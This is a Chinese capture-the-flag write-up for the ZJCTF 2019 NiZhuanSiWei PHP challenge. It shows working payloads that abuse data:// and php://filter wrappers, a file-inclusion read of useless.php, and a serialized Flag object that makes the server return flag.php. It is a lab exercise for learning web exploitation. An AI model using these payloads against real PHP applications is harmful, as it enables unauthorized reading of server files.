伪协议和反序列化 [ZJCTF 2019]NiZhuanSiWei

打开题目

代码审计

第一层绕过

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

要求我们get传参的text内容必须为welcome to the zjctf,才能下一步

解法1

用php://input协议写入,然后把内容post上

成功写入

解法2

当然这里也可以用data伪协议

我们先把内容进行base64编码

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

成功绕过

第二层绕过

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

我们用get姿势传入的file值,这里用正则限制了file参数里面不能含有 /flag/

如果不含有 /flag/ 的话,这里提示了我们有个useless.php,然后这里对我们get传参的password进行了反序列化并输出,

这里我们用伪协议读取useless.php文件

我们用php://filter协议

&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到

得到代码

第三层绕过

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

在这里用tostring函数限制了flie参数必须为字符串,然后输出包含的文件

进行序列化操作后

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

相关推荐

  1. Linux:协议定制以及序列序列

    2023-12-22 09:10:01       34 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-22 09:10:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-22 09:10:01       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-22 09:10:01       82 阅读
  4. Python语言-面向对象

    2023-12-22 09:10:01       91 阅读

热门阅读

  1. JVM笔记

    2023-12-22 09:10:01       41 阅读
  2. 微信小程序实现一个音乐播放器的功能

    2023-12-22 09:10:01       60 阅读
  3. GO设计模式——22、状态模式(行为型)

    2023-12-22 09:10:01       66 阅读
  4. Mysql知识详解(内容非常丰富)

    2023-12-22 09:10:01       44 阅读
  5. django获取request请求头信息,获取Content-Type

    2023-12-22 09:10:01       56 阅读